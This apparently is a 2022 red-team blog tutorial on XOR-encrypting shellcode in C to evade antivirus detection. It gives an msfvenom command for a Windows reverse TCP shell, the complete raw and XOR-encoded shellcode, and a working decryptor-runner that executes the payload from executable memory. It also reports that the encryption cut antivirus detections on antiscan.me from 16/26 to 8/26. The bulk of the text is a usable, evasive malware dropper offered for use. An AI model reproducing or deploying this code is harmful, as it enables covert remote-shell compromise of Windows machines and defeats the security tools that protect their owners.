Encrypting Shellcode with XOR | Offensive coding in C

5 min readNov 1, 2022

Hello fellow red teamers. One of the techniques for AV evasion is encryption. While there are many, many encrypting algorightms, XOR is really handy and easy to implement. Let’s do it on C.

If you prefer watching a video instead of reading, you can find it on my YouTube: https://youtu.be/ZHnvcFaJvh4
You can also join my discord server for sharing knowledge and experience: https://discord.gg/dWCe5ZMvtQ

Theory

Why do we need encryption?

AV vendors mainly have 2 types of detection techniques.

Signature based
Heuristic based

First one is being initialized as soon as the file drops to the disk. Its idea is to seek for malicious content or matching hash (considered as malicious from a global database)

Second one is more interesting, since it attempts to run the application in sandboxed environment, trying to understand what it is trying to do.

Encryption techniques are focused on bypassing signature-based detection, but they also help with heuristics. The idea is fairly simple, instead of storing a real, malicious shellcode (machine instructions in hex) in a variable, we can store it encrypted, so the string would be unlike to any signature.

Of course, when encrypted, the shellcode could not be executed, the point is to decrypt it on runtime.

Yeah, that is fine, but will the heuristics run the application and catch the decrypted shellcode on runtime?

Well, yes, but sometimes it can help evade even heuristic based detection. Let me say it like that, do not look at AV evasion as having a magic bullet that pierces through all vendors, it is rather a set of techniques, each one lowering the detection rate.

What is XOR?

There are many encryption methods, and pretty much everyone can implement their own. Why XOR? Well it is:

Easy to understand
Easy to implement
Works!

The history of xor encryption comes from xor gates, and can be found here:

XOR gate — Wikipedia

And the raw theory behind xor cipher can be found here:

XOR cipher — Wikipedia

In a nutshell, it is a bitwise operation that encrypts each bit, one at a time, with a given custom key. Let me demonstrate that with code.

Its C implementation is simple:

#include <stdio.h>unsigned char code[] = "Test";int main()
{
 char key = 'K';
 int i = 0;
 for (i; i<sizeof(code); i++)
 {
  printf("\\x%02x",code[i]^key);
 }
 
}

Output:

\x1f\x2e\x38\x3f\x4b

This is designed to only print the encrypted shellcode. If needed we can write it into file or send it over the network, but for simplicity we will use copy/paste.

Now, let’s create the decryptor. The algorithm is the same, the only differences we need to implement, is to replace the string with the ecnrypted shellcode from the previous code, lower the size of the char array in the for loop and overwrite the character array instead of printing stuff out. Let me make it more clear:

#include <stdio.h>unsigned char code[] = "\x1f\x2e\x38\x3f\x4b";int main()
{
 char key = 'K';
 int i = 0;
 for (i; i<sizeof(code) - 1; i++)
 {
  code[i] = code[i]^key;
 }
 printf("%s", code);
 
}

The print statement is not nessecery but I just wanted to showcase how the xor is working. By printing the variable “code” we get:

Test

Confirming the process is working just fine.

NOTE

It is needed to use single quotes (‘) instead of double (“) for the key variable. When implementing it with double quotes it will break the algorithm. I think that is the way of C to interpret string vs char variable type.

Weaponization

It is all good when we are playing with simple strings, but what about real, weaponized code?

Let’s first generate the malicious payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f c

Then append the output to encryptor.c

#include <stdio.h>unsigned char code[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x4d\x31\xc9\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48"
"\x18\x44\x8b\x40\x20\x50\x49\x01\xd0\xe3\x56\x4d\x31\xc9\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9"
"\x0d\xac\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x01\xbb\xc0\xa8\xfe\x82\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";int main()
{
 char key = 'K';
 int i = 0;
 for (i; i<sizeof(code); i++)
 {
  printf("\\x%02x",code[i]^key);
 }
 
}

The remaining code remains the same. Upon compilation and execution we receive the following output:

\xb7\x03\xc8\xaf\xbb\xa3\x87\x4b\x4b\x4b\x0a\x1a\x0a\x1b\x19\x1a\x03\x7a\x99\x2e\x03\xc0\x19\x2b\x1d\x03\xc0\x19\x53\x03\xc0\x19\x6b\x06\x7a\x82\x03\xc0\x39\x1b\x03\x44\xfc\x01\x01\x03\x7a\x8b\xe7\x77\x2a\x37\x49\x67\x6b\x0a\x8a\x82\x46\x0a\x4a\x8a\xa9\xa6\x19\x0a\x1a\x03\xc0\x19\x6b\xc0\x09\x77\x03\x4a\x9b\x2d\xca\x33\x53\x40\x49\x44\xce\x39\x4b\x4b\x4b\xc0\xcb\xc3\x4b\x4b\x4b\x03\xce\x8b\x3f\x2c\x03\x4a\x9b\xc0\x03\x53\x0f\xc0\x0b\x6b\x1b\x02\x4a\x9b\xa8\x1d\x06\x7a\x82\x03\xb4\x82\x0a\xc0\x7f\xc3\x03\x4a\x9d\x03\x7a\x8b\x0a\x8a\x82\x46\xe7\x0a\x4a\x8a\x73\xab\x3e\xba\x07\x48\x07\x6f\x43\x0e\x72\x9a\x3e\x93\x13\x0f\xc0\x0b\x6f\x02\x4a\x9b\x2d\x0a\xc0\x47\x03\x0f\xc0\x0b\x57\x02\x4a\x9b\x0a\xc0\x4f\xc3\x03\x4a\x9b\x0a\x13\x0a\x13\x15\x12\x11\x0a\x13\x0a\x12\x0a\x11\x03\xc8\xa7\x6b\x0a\x19\xb4\xab\x13\x0a\x12\x11\x03\xc0\x59\xa2\x00\xb4\xb4\xb4\x16\x02\xf5\x3c\x38\x79\x14\x78\x79\x4b\x4b\x0a\x1d\x02\xc2\xad\x03\xca\xa7\xeb\x4a\x4b\x4b\x02\xc2\xae\x02\xf7\x49\x4b\x4a\xf0\x8b\xe3\xb5\xc9\x0a\x1f\x02\xc2\xaf\x07\xc2\xba\x0a\xf1\x07\x3c\x6d\x4c\xb4\x9e\x07\xc2\xa1\x23\x4a\x4a\x4b\x4b\x12\x0a\xf1\x62\xcb\x20\x4b\xb4\x9e\x21\x41\x0a\x15\x1b\x1b\x06\x7a\x82\x06\x7a\x8b\x03\xb4\x8b\x03\xc2\x89\x03\xb4\x8b\x03\xc2\x8a\x0a\xf1\xa1\x44\x94\xab\xb4\x9e\x03\xc2\x8c\x21\x5b\x0a\x13\x07\xc2\xa9\x03\xc2\xb2\x0a\xf1\xd2\xee\x3f\x2a\xb4\x9e\xce\x8b\x3f\x41\x02\xb4\x85\x3e\xae\xa3\xd8\x4b\x4b\x4b\x03\xc8\xa7\x5b\x03\xc2\xa9\x06\x7a\x82\x21\x4f\x0a\x13\x03\xc2\xb2\x0a\xf1\x49\x92\x83\x14\xb4\x9e\xc8\xb3\x4b\x35\x1e\x03\xc8\x8f\x6b\x15\xc2\xbd\x21\x0b\x0a\x12\x23\x4b\x5b\x4b\x4b\x0a\x13\x03\xc2\xb9\x03\x7a\x82\x0a\xf1\x13\xef\x18\xae\xb4\x9e\x03\xc2\x88\x02\xc2\x8c\x06\x7a\x82\x02\xc2\xbb\x03\xc2\x91\x03\xc2\xb2\x0a\xf1\x49\x92\x83\x14\xb4\x9e\xc8\xb3\x4b\x36\x63\x13\x0a\x1c\x12\x23\x4b\x0b\x4b\x4b\x0a\x13\x21\x4b\x11\x0a\xf1\x40\x64\x44\x7b\xb4\x9e\x1c\x12\x0a\xf1\x3e\x25\x06\x2a\xb4\x9e\x02\xb4\x85\xa2\x77\xb4\xb4\xb4\x03\x4a\x88\x03\x62\x8d\x03\xce\xbd\x3e\xff\x0a\xb4\xac\x13\x21\x4b\x12\x02\x8c\x89\xbb\xfe\xe9\x1d\xb4\x9e\x4b

Now, let’s repeat the process by copying the output to decryptor.c while implementing Windows APIs for shell execution:

#include <stdio.h>
#include <windows.h>unsigned char code[] = "\xb7\x03\xc8\xaf\xbb\xa3\x87\x4b\x4b\x4b\x0a\x1a\x0a\x1b\x19\x1a\x03\x7a\x99\x2e\x03\xc0\x19\x2b\x1d\x03\xc0\x19\x53\x03\xc0\x19\x6b\x06\x7a\x82\x03\xc0\x39\x1b\x03\x44\xfc\x01\x01\x03\x7a\x8b\xe7\x77\x2a\x37\x49\x67\x6b\x0a\x8a\x82\x46\x0a\x4a\x8a\xa9\xa6\x19\x0a\x1a\x03\xc0\x19\x6b\xc0\x09\x77\x03\x4a\x9b\x2d\xca\x33\x53\x40\x49\x44\xce\x39\x4b\x4b\x4b\xc0\xcb\xc3\x4b\x4b\x4b\x03\xce\x8b\x3f\x2c\x03\x4a\x9b\xc0\x03\x53\x0f\xc0\x0b\x6b\x1b\x02\x4a\x9b\xa8\x1d\x06\x7a\x82\x03\xb4\x82\x0a\xc0\x7f\xc3\x03\x4a\x9d\x03\x7a\x8b\x0a\x8a\x82\x46\xe7\x0a\x4a\x8a\x73\xab\x3e\xba\x07\x48\x07\x6f\x43\x0e\x72\x9a\x3e\x93\x13\x0f\xc0\x0b\x6f\x02\x4a\x9b\x2d\x0a\xc0\x47\x03\x0f\xc0\x0b\x57\x02\x4a\x9b\x0a\xc0\x4f\xc3\x03\x4a\x9b\x0a\x13\x0a\x13\x15\x12\x11\x0a\x13\x0a\x12\x0a\x11\x03\xc8\xa7\x6b\x0a\x19\xb4\xab\x13\x0a\x12\x11\x03\xc0\x59\xa2\x00\xb4\xb4\xb4\x16\x02\xf5\x3c\x38\x79\x14\x78\x79\x4b\x4b\x0a\x1d\x02\xc2\xad\x03\xca\xa7\xeb\x4a\x4b\x4b\x02\xc2\xae\x02\xf7\x49\x4b\x4a\xf0\x8b\xe3\xb5\xc9\x0a\x1f\x02\xc2\xaf\x07\xc2\xba\x0a\xf1\x07\x3c\x6d\x4c\xb4\x9e\x07\xc2\xa1\x23\x4a\x4a\x4b\x4b\x12\x0a\xf1\x62\xcb\x20\x4b\xb4\x9e\x21\x41\x0a\x15\x1b\x1b\x06\x7a\x82\x06\x7a\x8b\x03\xb4\x8b\x03\xc2\x89\x03\xb4\x8b\x03\xc2\x8a\x0a\xf1\xa1\x44\x94\xab\xb4\x9e\x03\xc2\x8c\x21\x5b\x0a\x13\x07\xc2\xa9\x03\xc2\xb2\x0a\xf1\xd2\xee\x3f\x2a\xb4\x9e\xce\x8b\x3f\x41\x02\xb4\x85\x3e\xae\xa3\xd8\x4b\x4b\x4b\x03\xc8\xa7\x5b\x03\xc2\xa9\x06\x7a\x82\x21\x4f\x0a\x13\x03\xc2\xb2\x0a\xf1\x49\x92\x83\x14\xb4\x9e\xc8\xb3\x4b\x35\x1e\x03\xc8\x8f\x6b\x15\xc2\xbd\x21\x0b\x0a\x12\x23\x4b\x5b\x4b\x4b\x0a\x13\x03\xc2\xb9\x03\x7a\x82\x0a\xf1\x13\xef\x18\xae\xb4\x9e\x03\xc2\x88\x02\xc2\x8c\x06\x7a\x82\x02\xc2\xbb\x03\xc2\x91\x03\xc2\xb2\x0a\xf1\x49\x92\x83\x14\xb4\x9e\xc8\xb3\x4b\x36\x63\x13\x0a\x1c\x12\x23\x4b\x0b\x4b\x4b\x0a\x13\x21\x4b\x11\x0a\xf1\x40\x64\x44\x7b\xb4\x9e\x1c\x12\x0a\xf1\x3e\x25\x06\x2a\xb4\x9e\x02\xb4\x85\xa2\x77\xb4\xb4\xb4\x03\x4a\x88\x03\x62\x8d\x03\xce\xbd\x3e\xff\x0a\xb4\xac\x13\x21\x4b\x12\x02\x8c\x89\xbb\xfe\xe9\x1d\xb4\x9e\x4b";
int main()
{
 char key = 'K';
 int i = 0;
 for (i; i<sizeof(code) - 1; i++)
 {
  code[i] = code[i]^key;
 }
 
 
 void *exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(exec, code, sizeof code);
 ((void(*)())exec)();
 return 0;
 
}

If you want to learn more how the shellcode runner is working, you can find it here: https://youtu.be/lkZWaycrr9I

By compiling and running the program, we can see the shell hangs, while receiving a callback:

Testing time

For base model, we will use unencrypted shellcode runner in C:

#include <stdio.h>
#include <windows.h>unsigned char buf[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\xfe\x82\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";int main()
{
 void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(exec, buf, sizeof buf);
 ((void(*)())exec)();
 return 0;
}

By uploading it to antiscan.me we can observe 16/26 vendors detected it!

After uploading xor-ed dropper, we can observe doubled evasion statistic:

So, we went from 16/26 to 8/26 which is an amazing result based only on one technique!

Conclusion

AV evasion is fun but time consuming. I do not like repeating myself, but I feel like that one is important: Do not look at AV evasion as having a magic bullet that pierces through all vendors, it is rather a set of techniques, each one lowering the detection rate!

Hope you learned something new!

Stay tuned!